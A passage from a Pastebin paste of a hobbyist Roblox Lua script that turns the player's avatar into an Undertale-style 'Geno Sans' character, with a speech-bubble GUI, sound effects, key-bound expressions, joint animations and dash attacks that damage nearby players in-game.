Advertisement
rubikz

Untitled

Aug 4th, 2016
155
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 58.83 KB | None | 0 0
  1. -- Genosans. leaked by CLarramore
  2. -- NOTE: This was edited from error-sans another script edit of mine.
  3. -- UPDATE: There will be an entirely new version of geno-sans. It will be rewritten and everything. stay tuned
  4.  
  5. dot = false
  6. des = false
  7. local ChatService = game:GetService("Chat")
  8. local player = game.Players.LocalPlayer
  9. char = player.Character
  10.  
  11. hum = char.Humanoid
  12. torso = hum.Torso
  13. lig = Instance.new("PointLight",player.Character.Torso)
  14. lig.Color=Color3.new(0,255,255)
  15. m=player:GetMouse()
  16. bb = Instance.new("BillboardGui",player.Character.Head)
  17. bb.Enabled = true
  18. bb.AlwaysOnTop = true
  19. bb.Size = UDim2.new(0,200,0,50)
  20. bb.StudsOffset = Vector3.new(0,1,0)
  21. gui=Instance.new("TextBox",bb)
  22. gui.Text = "* "
  23. gui.Size = UDim2.new(0,133,0,45)
  24. gui.Position=UDim2.new(0,57,0,-40)
  25. gui.TextColor3 = Color3.new(255,255,255)
  26. gui.BackgroundColor3=Color3.new(0,0,0)
  27. gui.TextWrapped = true
  28. gui.TextScaled = true
  29. gui.TextXAlignment = "Left"
  30. gui.TextYAlignment = "Top"
  31. gui.Visible = false
  32. gui.BorderColor3 = Color3.new(0,0,0)
  33.  
  34. gui1=Instance.new("TextButton",bb)
  35. gui1.Position=UDim2.new(0,5,0,-43)
  36. gui1.Size = UDim2.new(0,190,0,51)
  37.  
  38. gui1.TextColor3 = Color3.new(255,255,255)
  39. gui1.BackgroundColor3=Color3.new(255,255,255)
  40.  
  41. Debounces = {
  42. ["IsSpeech"]=false;
  43. }
  44.  
  45.  
  46. Speeches = {
  47. "rbxassetid://316403916",
  48. "rbxassetid://316403844",
  49. "rbxassetid://316403787",
  50. "rbxassetid://316403490"
  51. };
  52.  
  53.  
  54.  
  55.  
  56. function swait(num)
  57. if num==0 or num==nil then
  58. game:service'RunService'.Stepped:wait(0)
  59. else
  60. for i=0,num do
  61. game:service'RunService'.Stepped:wait(0)
  62. end
  63. end
  64. end
  65.  
  66.  
  67. for _,v in pairs(Speeches) do
  68.  
  69. game:GetService("ContentProvider"):Preload(v)
  70.  
  71. end
  72.  
  73. so = function(id,par,vol,pit)
  74. coroutine.resume(coroutine.create(function()
  75. local sou = Instance.new("Sound",par or workspace)
  76. sou.Volume=vol
  77. sou.Pitch=pit or 1
  78. sou.SoundId=id
  79. swait()
  80. sou:play()
  81. game:GetService("Debris"):AddItem(sou,sou.TimeLength)
  82. end))
  83. end
  84.  
  85.  
  86.  
  87. function speech()
  88. if Debounces.IsSpeech then return end
  89. Debounces.IsSpeech = true
  90.  
  91. so(""..Speeches[math.random(1,#Speeches)].."",torso,1,1)
  92.  
  93. swait()
  94.  
  95. Debounces.IsSpeech = false
  96. end
  97.  
  98.  
  99. gui1.Visible = false
  100. img = Instance.new("ImageLabel",bb)
  101. img.Size = UDim2.new(0,46,0,47)
  102. img.Position = UDim2.new(0,10,0,-41)
  103. img.Image = "rbxassetid://388166921"
  104. img.BorderColor3 = Color3.new(0,0,0)
  105. img.Visible = false
  106. asd = Instance.new("Sound",player.Character.Torso)
  107. asd.SoundId = "http://www.roblox.com/asset/?id = 358280695"
  108.  
  109. asd1 = Instance.new("Sound",player.Character.Torso)
  110. asd1.SoundId = "http://www.roblox.com/asset/?id = 358280695"
  111.  
  112. asd2 = Instance.new("Sound",player.Character.Torso)
  113. asd2.SoundId = "http://www.roblox.com/asset/?id = 306370481"
  114. asd2.Looped = true
  115. asd3 = Instance.new("Sound",player.Character.Torso)
  116. asd3.SoundId = "http://www.roblox.com/asset/?id = 358598989"
  117. asd3.Looped = true
  118. asd4 = Instance.new("Sound",player.Character.Torso)
  119. asd4.SoundId = "http://www.roblox.com/asset/?id = 392344547"
  120. asd4.Looped = true
  121. asd5 = Instance.new("Sound",player.Character.Torso)
  122. asd5.SoundId = "http://www.roblox.com/asset/?id = 0"
  123. asd5.Looped = true
  124. dunkd = Instance.new("Sound",player.Character.Torso)
  125. dunkd.SoundId = "http://www.roblox.com/asset/?id = 333078694"
  126. dunkd.Looped = false
  127. function play(play)
  128. asd:Play()
  129. asd1:Play()
  130. end
  131. eye = Instance.new("Part",player.Character)
  132. eye.BrickColor = BrickColor.new("Toothpaste")
  133. eye.Material = "Neon"
  134. eye.FormFactor = 3
  135. eye.Shape = "Ball"
  136. eye.Size = Vector3.new(0.37,0.37,0.1)
  137. weld = Instance.new("Weld",eye)
  138. weld.Part0 = eye
  139. weld.Part1 = player.Character.Head
  140. weld.C0 = CFrame.new(0.1,-0.2,0.45)
  141. eye.Transparency = 1
  142. -- listen for their chatting
  143. player.Chatted:connect(function(message)
  144. a = string.len(message)
  145. gui.Text = "* "
  146. gui.Visible = true
  147. gui1.Visible = true
  148. des = false
  149. img.Visible = true
  150. print(a)
  151. if dot == false then
  152. for i = 1,string.len(message) do wait(0.07)
  153. gui.Text =gui.Text..message:sub(i,i)
  154.  
  155. play()
  156. end
  157. end
  158.  
  159. des = true
  160. end)
  161. m.KeyDown:connect(function(k)
  162. if k == "g" then
  163. asd2:Play()
  164. eye.Transparency = 0
  165.  
  166. elseif k == "k" then
  167. speech()
  168. end
  169. end)
  170. m.KeyDown:connect(function(k)
  171. if k == "p" then
  172. eye.Transparency = 1
  173. asd3:Play()
  174. end
  175. end)
  176. m.KeyDown:connect(function(k)
  177. if k == "r" then
  178. eye.Transparency = 0
  179. asd4:Play()
  180. end
  181. end)
  182. m.KeyDown:connect(function(k)
  183. if k == "q" then
  184. eye.Transparency = 1
  185. asd5:Play()
  186. end
  187. end)
  188. m.KeyDown:connect(function(k)
  189. if k == "z" then
  190.  
  191. img.Image = "rbxassetid://388167098"
  192. end
  193. end)
  194. m.KeyDown:connect(function(k)
  195. if k == "c" then
  196. img.Image = "rbxassetid://388166921"
  197. end
  198. end)
  199. m.KeyDown:connect(function(k)
  200. if k == "n" then
  201. img.Image = "rbxassetid://388166991"
  202. end
  203. end)
  204. m.KeyDown:connect(function(k)
  205. if k == "b" then
  206. img.Image = "rbxassetid://378060690"
  207. end
  208. end)
  209. m.KeyDown:connect(function(k)
  210. if k == "m" then
  211. img.Image = "rbxassetid://378609498"
  212. end
  213. end)
  214. m.KeyDown:connect(function(k)
  215. if k == "v" then
  216. img.Image = "rbxassetid://388166961"
  217. end
  218. end)
  219. m.KeyDown:connect(function(k)
  220. if k == "h" then
  221. img.Image = "rbxassetid://378577428"
  222. end
  223. end)
  224. m.KeyDown:connect(function(k)
  225. if k == "j" then
  226. img.Image = "rbxassetid://388167116"
  227. end
  228. end)
  229. m.KeyDown:connect(function(k)
  230. if k == "l" then
  231. img.Image = "rbxassetid://388167154"
  232. print("You take your very last breath...")
  233. asdd = Instance.new("Sound",player.Character.Torso)
  234. asdd.SoundId = "http://www.roblox.com/asset/?id = 357417055"
  235. asdd.Looped = false
  236. spawn(function()
  237. wait()
  238. asdd:Play()
  239. end)
  240. wait(2)
  241. asddd = Instance.new("Sound",player.Character.Torso)
  242. asddd.SoundId = "http://www.roblox.com/asset/?id = 387183672"
  243. asddd.Looped = false
  244. spawn(function()
  245. wait()
  246. asddd:Play()
  247. end)
  248. wait(2)
  249. asdded = Instance.new("Sound",player.Character.Torso)
  250. asdded.SoundId = "http://www.roblox.com/asset/?id = 387187707"
  251. asdded.Looped = false
  252. spawn(function()
  253. wait()
  254. asdded:Play()
  255. end)
  256. char:BreakJoints()
  257. end
  258. end)
  259. m.KeyDown:connect(function(k)
  260. if k == "x" then
  261. if des == true then
  262. gui.Visible = false
  263. gui.Text = "* "
  264. gui1.Visible = false
  265. img.Visible = false
  266. end
  267. end
  268. end)
  269. m.KeyDown:connect(function(k)
  270. if k == "f" then
  271. asd3:Stop()
  272. asd2:Stop()
  273. asd4:Stop()
  274. dunkd:Stop()
  275. eye.Transparency = 1
  276. asd5:Stop()
  277. end
  278. end)
  279. m.KeyDown:connect(function(k)
  280. if k == "u" then
  281. dunkd = Instance.new("Sound",player.Character.Torso)
  282. dunkd.SoundId = "http://www.roblox.com/asset/?id = 333078694"
  283. dunkd.Looped = false
  284. dunkd:Play()
  285. end
  286. end)
  287. m.KeyDown:connect(function(k)
  288. if k == "y" then
  289. img.Image = "rbxassetid://378198656"
  290. end
  291. end)
  292.  
  293. char.Torso.roblox.Texture = "rbxassetid://335510936"
  294.  
  295. -- my god...
  296. -- Suck_HiyaThere moves to arizona
  297.  
  298. --------------------------------------------------------
  299.  
  300. pls = game:GetService'Players'
  301. rs = game:GetService'RunService'
  302. uinps = game:GetService'UserInputService'
  303. lp = pls.LocalPlayer
  304. mouse = lp:GetMouse()
  305. c = lp.Character
  306. human = c.Humanoid
  307. human.MaxHealth = 50
  308. soundVol = 0
  309. wait()
  310. human.Health = 50
  311. c.Health:Destroy()
  312.  
  313. --------------------------------------------------------
  314.  
  315. Debounces = {
  316. AnimationCycles = 0;
  317. FPS = 0;
  318. scalingDamage = false;
  319. damageLevel = 0;
  320. attackNumber = 0;
  321. isAttacking = false;
  322. isMoving = false;
  323. isSprinting = false;
  324. isBoosting = false;
  325. isPassive = false;
  326. isTyping = false;
  327. }
  328.  
  329. --------------------------------------------------------
  330.  
  331. numLerp = function(start, goal, alpha)
  332. return(((goal - start) * alpha) + start)
  333. end
  334.  
  335. CFrameZero = function()
  336. return CFrame.new(Vector3.new())
  337. end
  338.  
  339. rad = function(value)
  340. return math.rad(value)
  341. end
  342.  
  343. CFAngles = function(Vector)
  344. return CFrame.Angles(rad(Vector.x),rad(Vector.y),rad(Vector.z))
  345. end
  346.  
  347. --------------------------------------------------------
  348.  
  349. AnimStat = {
  350. lerpSpeed = .2;
  351. lerpSpeed2 = .35;
  352. lerpTween = 0;
  353. }
  354.  
  355. Joints = {
  356. c.HumanoidRootPart.RootJoint;
  357. c.Torso.Neck;
  358. c.Torso['Left Shoulder'];
  359. c.Torso['Right Shoulder'];
  360. c.Torso['Left Hip'];
  361. c.Torso['Right Hip'];
  362. }
  363.  
  364. JointTargets = {
  365. CFrameZero();
  366. CFrameZero();
  367. CFrameZero();
  368. CFrameZero();
  369. CFrameZero();
  370. CFrameZero();
  371. }
  372.  
  373. --------------------------------------------------------
  374.  
  375. BodyColors = {
  376. HeadColor = BrickColor.new("Institutional white");
  377. LeftArmColor = BrickColor.new("Institutional white");
  378. RightArmColor = BrickColor.new("Institutional white");
  379. LeftLegColor = BrickColor.new("Institutional white");
  380. RightLegColor = BrickColor.new("Institutional white");
  381. TorsoColor = BrickColor.new("Mid gray");
  382. }
  383.  
  384. Customs = {
  385. Face = "http://www.roblox.com/asset/?id=8560915";
  386. Shirt = "http://www.roblox.com/asset/?id=334781688";
  387. Pants = "http://www.roblox.com/asset/?id=335237283";
  388. }
  389.  
  390. --------------------------------------------------------
  391.  
  392. prepareCharacter = function()
  393. local transPoints = {
  394. NumberSequenceKeypoint.new(0,0,0),
  395. NumberSequenceKeypoint.new(.4,.05,0),
  396. NumberSequenceKeypoint.new(.8,.16,0),
  397. NumberSequenceKeypoint.new(1,.25,0)
  398. }
  399. local sizePoints = {
  400. NumberSequenceKeypoint.new(0,.5,0),
  401. NumberSequenceKeypoint.new(.18,.5,0),
  402. NumberSequenceKeypoint.new(.49,.69,0),
  403. NumberSequenceKeypoint.new(.74,.5,0),
  404. NumberSequenceKeypoint.new(.92,.25,0),
  405. NumberSequenceKeypoint.new(1,.0625,0)
  406. }
  407. local Size = NumberSequence.new(sizePoints)
  408. local Transparency = NumberSequence.new(transPoints)
  409. rayModel = Instance.new("Model",c)
  410. efxBlock = Instance.new("Part",c)
  411. efxBlock.Material = "Neon"
  412. efxBlock.FormFactor = "Custom"
  413. efxBlock.Size = Vector3.new(.3,.3,.3)
  414. light = Instance.new("PointLight",c.Head)
  415. light.Range = 8
  416. light.Color = Color3.new(1,1,1)
  417. light.Shadows = false
  418. local particles = Instance.new("ParticleEmitter",efxBlock)
  419. particles.Color = ColorSequence.new(Color3.new(.85,.85,.85),Color3.new(1,1,1))
  420. particles.ZOffset = 1
  421. particles.LightEmission = .96
  422. particles.Size = Size
  423. particles.Name = "Fire"
  424. particles.Transparency = Transparency
  425. particles.LockedToPart = true
  426. particles.Rate = 25
  427. particles.EmissionDirection = "Right"
  428. particles.Acceleration = Vector3.new(-.5,0,0)
  429. particles.Texture = "rbxassetid://24378732"
  430. particles.Lifetime = NumberRange.new(.25,.25)
  431. particles.Speed = NumberRange.new(-.5,5)
  432. script.Parent = efxBlock
  433. fire = particles
  434. local offset = Vector3.new(0.2, .23, -0.5)
  435. local weld = Instance.new("Weld",c.Head)
  436. weld.Part0 = c.Head
  437. weld.Part1 = efxBlock
  438. weld.C0 = CFrame.new(offset) * CFrame.Angles(math.rad(0),math.rad(0),math.rad(0))
  439. efxBlock.Parent = c
  440. local music = Instance.new("Sound",c.Torso)
  441. music.SoundId = "rbxassetid://316012176"
  442. music.Looped = true
  443. music.Volume = soundVol
  444. fight = music
  445. local music2 = Instance.new("Sound",c.Torso)
  446. music2.SoundId = "rbxassetid://316014309"
  447. music2.Looped = true
  448. music2.Volume = soundVol
  449. sans = music2
  450. pointGyro = Instance.new("BodyGyro",c.HumanoidRootPart)
  451. pointGyro.P = 1e7
  452. pointGyro.D = 1e3
  453. pointGyro.MaxTorque = Vector3.new(0,1e7,0)
  454. animator = c.Humanoid:FindFirstChild("Animator")
  455. if animator then
  456. animator:Destroy()
  457. end
  458. c.Torso.roblox:Destroy()
  459. for i,v in pairs (c.Head:children()) do
  460. if v.ClassName == "Sound" then
  461. v:Destroy()
  462. end
  463. end
  464. for i = 1,#Joints do
  465. Joints[i].C1 = CFrame.new(Vector3.new())
  466. end
  467. human.WalkSpeed = 0
  468. human.JumpPower = 0
  469. end
  470.  
  471. uinps.InputBegan:connect(function(InputObject)
  472. if InputObject.KeyCode == Enum.KeyCode.K and Debounces.isTyping == false then
  473. Debounces.isPassive = not Debounces.isPassive
  474. if Debounces.isPassive == true then
  475.  
  476. --speech()
  477. end
  478.  
  479. end
  480. end)
  481.  
  482. setJointCFrames = function(table)
  483. for i = 1,#table do
  484. JointTargets[i] = table[i]
  485. end
  486. AnimationCycles = 0
  487. end
  488.  
  489. setLerp = function(speed)
  490. AnimStat.lerpSpeed = speed
  491. end
  492.  
  493. setTween = function(tween)
  494. AnimStat.lerpTween = tween
  495. end
  496.  
  497. takeDamage = function(position,damage,distance,platformStand)
  498. for i,v in pairs (pls:children()) do
  499. if v.ClassName == "Player" and v:FindFirstChild("Character") then
  500. local torso = v.Character:FindFirstChild("Torso")
  501. if torso and (torso.Position - position).magnitude < distance then
  502. if v.Character.Humanoid.MaxHealth > 1000 then
  503. v.Character.Humanoid.MaxHealth = 100;
  504. v.Character.Humanoid.Breakjoints()
  505. end
  506.  
  507.  
  508. v.Character.Humanoid:TakeDamage(damage)
  509. if platformStand == true then
  510. v.Character.PlatformStand = platformStand
  511. end
  512. end
  513. end
  514. end
  515. end
  516.  
  517. --------------------------------------------------------
  518.  
  519. prepareCharacter()
  520.  
  521. --------------------------------------------------------
  522.  
  523. spawn(function()
  524. local sine = 0
  525. while wait() do
  526. pointGyro.CFrame = CFrame.new(Vector3.new(),(mouse.Hit.p - c.HumanoidRootPart.CFrame.p).unit * 100)
  527. if Debounces.isAttacking == false and Debounces.isMoving == false and Debounces.isBoosting == false then
  528. setLerp(.1)
  529. if Debounces.isPassive == true then
  530. setJointCFrames({
  531. CFrame.new(Vector3.new(0, 0 + math.sin(tick() * 1.5)/25, 0)) * CFAngles(Vector3.new(0, 0, 0));
  532. CFrame.new(Vector3.new(0, 1.5 + math.sin(tick() * -1.5)/35, math.sin(tick() * 1.5)/35)) * CFAngles(Vector3.new(1.554 + math.sin((-tick() + 2) * 1.5) * 5, -0.001, -0.001));
  533. CFrame.new(Vector3.new(-1.06, -0.03 + math.sin(tick() * 1.5)/25, 0.449)) * CFAngles(Vector3.new(-29.511, 0, 29.51));
  534. CFrame.new(Vector3.new(1.059, -0.031 + math.sin(tick() * 1.5)/25, 0.449)) * CFAngles(Vector3.new(-29.511, -3.842, -29.511));
  535. CFrame.new(Vector3.new(-0.49, -2, -0.05/1.5)) * CFAngles(Vector3.new(0, 8.885, 0));
  536. CFrame.new(Vector3.new(0.49, -2, -0.05/1.5)) * CFAngles(Vector3.new(-0.001, -8.886, 0));
  537. })
  538. else
  539. setJointCFrames({
  540. CFrame.new(Vector3.new(0, 0 + math.sin(tick() * 1.5)/25, 0)) * CFAngles(Vector3.new(0, 0, 0));
  541. CFrame.new(Vector3.new(0, 1.5 + math.sin(tick() * -1.5)/35, math.sin(tick() * 1.5)/35)) * CFAngles(Vector3.new(1.554 + math.sin((-tick() + 2) * 1.5) * 5, -0.001, -0.001));
  542. CFrame.new(Vector3.new(-1.06, -0.03 + math.sin(tick() * 1.5)/25, 0.449)) * CFAngles(Vector3.new(-29.511, 0, 29.51));
  543. CFrame.new(Vector3.new(1.059, -0.031 + math.sin(tick() * 1.5)/25, 0.449)) * CFAngles(Vector3.new(-29.511, -3.842, -29.511));
  544. CFrame.new(Vector3.new(-0.49, -2, -0.05/1.5)) * CFAngles(Vector3.new(0, 8.885, 0));
  545. CFrame.new(Vector3.new(0.49, -2, -0.05/1.5)) * CFAngles(Vector3.new(-0.001, -8.886, 0));
  546. })
  547. end
  548. elseif Debounces.isAttacking == false and Debounces.isMoving == true and Debounces.isBoosting == false then
  549. sine = sine + math.rad(12)
  550. human.WalkSpeed = 15
  551. setLerp(.15)
  552. setJointCFrames({
  553. CFrame.new(Vector3.new(0, 0, 0)) * CFAngles(Vector3.new(0, math.sin(sine) * -2.5, 0));
  554. CFrame.new(Vector3.new(0, 1.499, -0.04)) * CFAngles(Vector3.new(-5.676, -0.001 - math.sin(sine) * 3, -0.001));
  555. CFrame.new(Vector3.new(-1.97, 0 + math.sin(sine + .5)/20, 0.1 + math.sin(-sine)/2)/1.3) * CFAngles(Vector3.new(-5 + math.sin(sine) * 23, 0, 0));
  556. CFrame.new(Vector3.new(1.97, 0 - math.sin(sine + .5)/20, 0.1 + math.sin(sine)/2)/1.3) * CFAngles(Vector3.new(-5 + math.sin(-sine) * 23, 0, 0));
  557. CFrame.new(Vector3.new(-0.5, -1.93 - math.cos(sine)/8.7, 0.2 + math.sin(sine)/2)) * CFAngles(Vector3.new(-15 + math.sin(-sine) * 30, 0, 0));
  558. CFrame.new(Vector3.new(0.5, -1.93 + math.cos(sine)/8.7, 0.2 + math.sin(-sine)/2)) * CFAngles(Vector3.new(-15 + math.sin(sine) * 30, 0, 0));
  559. })
  560. end
  561. if Debounces.scalingDamage == true then
  562. takeDamage(c.HumanoidRootPart.Position,Debounces.damageLevel,8,true)
  563. end
  564. end
  565. end)
  566.  
  567. human.Changed:connect(function(prop)
  568. if prop == "MoveDirection" then
  569. if human.MoveDirection.magnitude > .02 then
  570. Debounces.isMoving = true
  571. else
  572. Debounces.isMoving = false
  573. end
  574. end
  575. end)
  576.  
  577. uinps.InputBegan:connect(function(InputObject)
  578. if InputObject.KeyCode == Enum.KeyCode.A and Debounces.isAttacking == false and Debounces.isSprinting == true and Debounces.isBoosting == false and Debounces.isPassive == true and Debounces.isTyping == false then
  579. Debounces.isBoosting = true
  580. Debounces.damageLevel = 10
  581. Debounces.scalingDamage = true
  582. local vel = Instance.new("BodyVelocity",c.HumanoidRootPart)
  583. setLerp(.15)
  584. setJointCFrames({
  585. CFrame.new(Vector3.new(0, -0.901, 0)) * CFAngles(Vector3.new(-22.001, 0, 20));
  586. CFrame.new(Vector3.new(-0.001, 1.52, 0)) * CFAngles(Vector3.new(-10.372, 28.758, -1.837));
  587. CFrame.new(Vector3.new(-0.7, -0.2, -0.801)) * CFAngles(Vector3.new(45, 0, 45));
  588. CFrame.new(Vector3.new(1.7, 0.2, 0.199)) * CFAngles(Vector3.new(-15.001, -15.001, 45));
  589. CFrame.new(Vector3.new(-0.3, -2, 0.2)) * CFAngles(Vector3.new(-11.283, -17.801, 19.495));
  590. CFrame.new(Vector3.new(0.9, -2, -0.201)) * CFAngles(Vector3.new(15, -15, 29.999));
  591. })
  592. local boostSpeed = 250
  593. local efx = Instance.new("Sound",c.Head)
  594. efx.SoundId = "rbxassetid://200632875"
  595. efx.Pitch = math.random(1100,1300)/1000
  596. efx.Volume = .5
  597. efx:Play()
  598. spawn(function()
  599. wait(5)
  600. efx:Destroy()
  601. end)
  602. vel.Velocity = (c.HumanoidRootPart.Position - c.HumanoidRootPart.CFrame:toWorldSpace(CFrame.new(1,0,0)).p).unit * boostSpeed
  603. vel.P = 1e3
  604. vel.MaxForce = Vector3.new(math.huge,0,math.huge)
  605. wait(.15)
  606. vel.P = 1000
  607. vel.MaxForce = Vector3.new(3000,0,3000)
  608. vel.Velocity = Vector3.new()
  609. wait(.3)
  610. setLerp(.3)
  611. setJointCFrames({
  612. CFrame.new(Vector3.new(0, -0.901, 0)) * CFAngles(Vector3.new(-22.001, 0, 13));
  613. CFrame.new(Vector3.new(-0.001, 1.52, 0)) * CFAngles(Vector3.new(-30.239, 42.47, 11.879));
  614. CFrame.new(Vector3.new(-1.9, -0.2, -0.401)) * CFAngles(Vector3.new(44.999, 0, -45));
  615. CFrame.new(Vector3.new(1.5, 0.4, 0.599)) * CFAngles(Vector3.new(-62.058, -21.088, -15.383));
  616. CFrame.new(Vector3.new(-0.7, -1.8, 0.6)) * CFAngles(Vector3.new(-59.239, -26.158, -14.457));
  617. CFrame.new(Vector3.new(0.5, -1, -0.801)) * CFAngles(Vector3.new(-0.505, -14.478, -18.968));
  618. })
  619. wait(.2)
  620. vel:Destroy()
  621. Debounces.damageLevel = 0
  622. Debounces.scalingDamage = false
  623. Debounces.isBoosting = false
  624. end
  625. end)
  626.  
  627. uinps.InputBegan:connect(function(InputObject)
  628. if InputObject.KeyCode == Enum.KeyCode.D and Debounces.isAttacking == false and Debounces.isSprinting == true and Debounces.isBoosting == false and Debounces.isPassive == true and Debounces.isTyping == false then
  629. Debounces.isBoosting = true
  630. Debounces.damageLevel = 10
  631. Debounces.scalingDamage = true
  632. local vel = Instance.new("BodyVelocity",c.HumanoidRootPart)
  633. setLerp(.15)
  634. setJointCFrames({
  635. CFrame.new(Vector3.new(0, -0.901, 0)) * CFAngles(Vector3.new(-22.001, 0, -15));
  636. CFrame.new(Vector3.new(-0.001, 1.52, 0)) * CFAngles(Vector3.new(-13.603, -45.662, -6.645));
  637. CFrame.new(Vector3.new(-1.9, 0, -0.201)) * CFAngles(Vector3.new(31.935, -7.436, -60.853));
  638. CFrame.new(Vector3.new(1.9, 0, 0.399)) * CFAngles(Vector3.new(-3.644, -23.448, 59.102));
  639. CFrame.new(Vector3.new(-1.1, -1.8, 0)) * CFAngles(Vector3.new(-3.616, -11.936, -29.566));
  640. CFrame.new(Vector3.new(0.1, -1.6, -0.601)) * CFAngles(Vector3.new(1.943, -7.181, -32.528));
  641. })
  642. local boostSpeed = 250
  643. local efx = Instance.new("Sound",c.Head)
  644. efx.SoundId = "rbxassetid://200632875"
  645. efx.Pitch = math.random(1100,1300)/1000
  646. efx.Volume = .5
  647. efx:Play()
  648. spawn(function()
  649. wait(5)
  650. efx:Destroy()
  651. end)
  652. vel.Velocity = (c.HumanoidRootPart.Position - c.HumanoidRootPart.CFrame:toWorldSpace(CFrame.new(-1,0,0)).p).unit * boostSpeed
  653. vel.P = 1e3
  654. vel.MaxForce = Vector3.new(math.huge,0,math.huge)
  655. wait(.15)
  656. vel.P = 1000
  657. vel.MaxForce = Vector3.new(3000,0,3000)
  658. vel.Velocity = Vector3.new()
  659. wait(.3)
  660. setLerp(.3)
  661. setJointCFrames({
  662. CFrame.new(Vector3.new(0, -0.901, 0)) * CFAngles(Vector3.new(-22.001, 0, -13));
  663. CFrame.new(Vector3.new(-0.001, 1.52, 0)) * CFAngles(Vector3.new(-12.936, -46.206, -2.327));
  664. CFrame.new(Vector3.new(-1.9, 0.2, -0.201)) * CFAngles(Vector3.new(45, 0, -60));
  665. CFrame.new(Vector3.new(1.7, 0, -0.401)) * CFAngles(Vector3.new(14.035, -5.69, 35.342));
  666. CFrame.new(Vector3.new(-0.3, -1.8, 0.6)) * CFAngles(Vector3.new(-55.479, -10.612, 15.729));
  667. CFrame.new(Vector3.new(0.5, -1, -0.801)) * CFAngles(Vector3.new(14.999, -15, 14.999));
  668. })
  669. wait(.2)
  670. vel:Destroy()
  671. Debounces.damageLevel = 0
  672. Debounces.scalingDamage = false
  673. Debounces.isBoosting = false
  674. end
  675. end)
  676.  
  677. uinps.InputBegan:connect(function(InputObject)
  678. if InputObject.KeyCode == Enum.KeyCode.W and Debounces.isAttacking == false and Debounces.isSprinting == true and Debounces.isBoosting == false and Debounces.isPassive == true and Debounces.isTyping == false then
  679. Debounces.isBoosting = true
  680. Debounces.damageLevel = 10
  681. Debounces.scalingDamage = true
  682. local vel = Instance.new("BodyVelocity",c.HumanoidRootPart)
  683. setLerp(.15)
  684. setJointCFrames({
  685. CFrame.new(Vector3.new(0, -0.901, 0)) * CFAngles(Vector3.new(-40.001, 0, 5));
  686. CFrame.new(Vector3.new(-0.001, 1.429, 0.2)) * CFAngles(Vector3.new(25.141, -8.347, 0.878));
  687. CFrame.new(Vector3.new(-1.5, 0, .101)) * CFAngles(Vector3.new(14.999, -0.001, 0));
  688. CFrame.new(Vector3.new(1.7, 0.199, -0.401)) * CFAngles(Vector3.new(28.08, -0.358, 21.087));
  689. CFrame.new(Vector3.new(-0.5, -1.8, 0.6)) * CFAngles(Vector3.new(-29.448, 3.57, -1.5));
  690. CFrame.new(Vector3.new(0.499, -1.6, -0.401)) * CFAngles(Vector3.new(-0.505, -14.478, -3.968));
  691. })
  692. local boostSpeed = 250
  693. local efx = Instance.new("Sound",c.Head)
  694. efx.SoundId = "rbxassetid://200632875"
  695. efx.Pitch = math.random(1100,1300)/1000
  696. efx.Volume = .5
  697. efx:Play()
  698. spawn(function()
  699. wait(5)
  700. efx:Destroy()
  701. end)
  702. vel.Velocity = (c.HumanoidRootPart.Position - c.HumanoidRootPart.CFrame:toWorldSpace(CFrame.new(0,0,1)).p).unit * boostSpeed
  703. vel.P = 1e3
  704. vel.MaxForce = Vector3.new(math.huge,0,math.huge)
  705. wait(.15)
  706. vel.P = 1000
  707. vel.MaxForce = Vector3.new(3000,0,3000)
  708. vel.Velocity = Vector3.new()
  709. wait(.3)
  710. setLerp(.3)
  711. setJointCFrames({
  712. CFrame.new(Vector3.new(0, -0.901, 0)) * CFAngles(Vector3.new(-22.001, 40, -13));
  713. CFrame.new(Vector3.new(-0.001, 1.52, 0)) * CFAngles(Vector3.new(-12.936, -46.206, -2.327));
  714. CFrame.new(Vector3.new(-1.9, 0.2, -0.201)) * CFAngles(Vector3.new(45, 0, -60));
  715. CFrame.new(Vector3.new(1.7, 0, -0.401)) * CFAngles(Vector3.new(14.035, -5.69, 35.342));
  716. CFrame.new(Vector3.new(-0.3, -1.8, 0.6)) * CFAngles(Vector3.new(-55.479, -10.612, 15.729));
  717. CFrame.new(Vector3.new(0.5, -1, -0.801)) * CFAngles(Vector3.new(14.999, -15, 14.999));
  718. })
  719. wait(.2)
  720. vel:Destroy()
  721. Debounces.damageLevel = 0
  722. Debounces.scalingDamage = false
  723. Debounces.isBoosting = false
  724. end
  725. end)
  726.  
  727. uinps.InputBegan:connect(function(InputObject)
  728. if InputObject.KeyCode == Enum.KeyCode.S and Debounces.isAttacking == false and Debounces.isSprinting == true and Debounces.isBoosting == false and Debounces.isPassive == true and Debounces.isTyping == false then
  729. Debounces.isBoosting = true
  730. Debounces.damageLevel = 10
  731. Debounces.scalingDamage = true
  732. local vel = Instance.new("BodyVelocity",c.HumanoidRootPart)
  733. setLerp(.15)
  734. setJointCFrames({
  735. CFrame.new(Vector3.new(0, -.3, 0)) * CFAngles(Vector3.new(15, 0, 0));
  736. CFrame.new(Vector3.new(-0.001, 1.52, -0.03)) * CFAngles(Vector3.new(-5.298, -1.305, -4.093));
  737. CFrame.new(Vector3.new(-1.7, 0, -0.201)) * CFAngles(Vector3.new(12.112, -6.562, -16.939));
  738. CFrame.new(Vector3.new(1.7, 0, -0.201)) * CFAngles(Vector3.new(8.817, 8.378, 20.465));
  739. CFrame.new(Vector3.new(-0.7, -1.8, 0.2)) * CFAngles(Vector3.new(-14.432, 3.06, -2.373));
  740. CFrame.new(Vector3.new(0.5, -1.8, -0.201)) * CFAngles(Vector3.new(-0.505, -14.478, -3.968));
  741. })
  742. local boostSpeed = 150
  743. local boostSpeed = 250
  744. local efx = Instance.new("Sound",c.Head)
  745. efx.SoundId = "rbxassetid://200632875"
  746. efx.Pitch = math.random(1100,1300)/1000
  747. efx.Volume = .5
  748. efx:Play()
  749. spawn(function()
  750. wait(5)
  751. efx:Destroy()
  752. end)
  753. vel.Velocity = (c.HumanoidRootPart.Position - c.HumanoidRootPart.CFrame:toWorldSpace(CFrame.new(0,0,-1)).p).unit * boostSpeed
  754. vel.P = 1e3
  755. vel.MaxForce = Vector3.new(math.huge,0,math.huge)
  756. wait(.15)
  757. vel.P = 1000
  758. vel.MaxForce = Vector3.new(3000,0,3000)
  759. vel.Velocity = Vector3.new()
  760. wait(.3)
  761. setLerp(.3)
  762. setJointCFrames({
  763. CFrame.new(Vector3.new(0, -.5, 0)) * CFAngles(Vector3.new(4, 0, 0));
  764. CFrame.new(Vector3.new(-0.001, 1.52, -0.03)) * CFAngles(Vector3.new(-20.081, 28.752, 3.598));
  765. CFrame.new(Vector3.new(-1.7, 0.2, -0.601)) * CFAngles(Vector3.new(59.51, -3.841, -14.511));
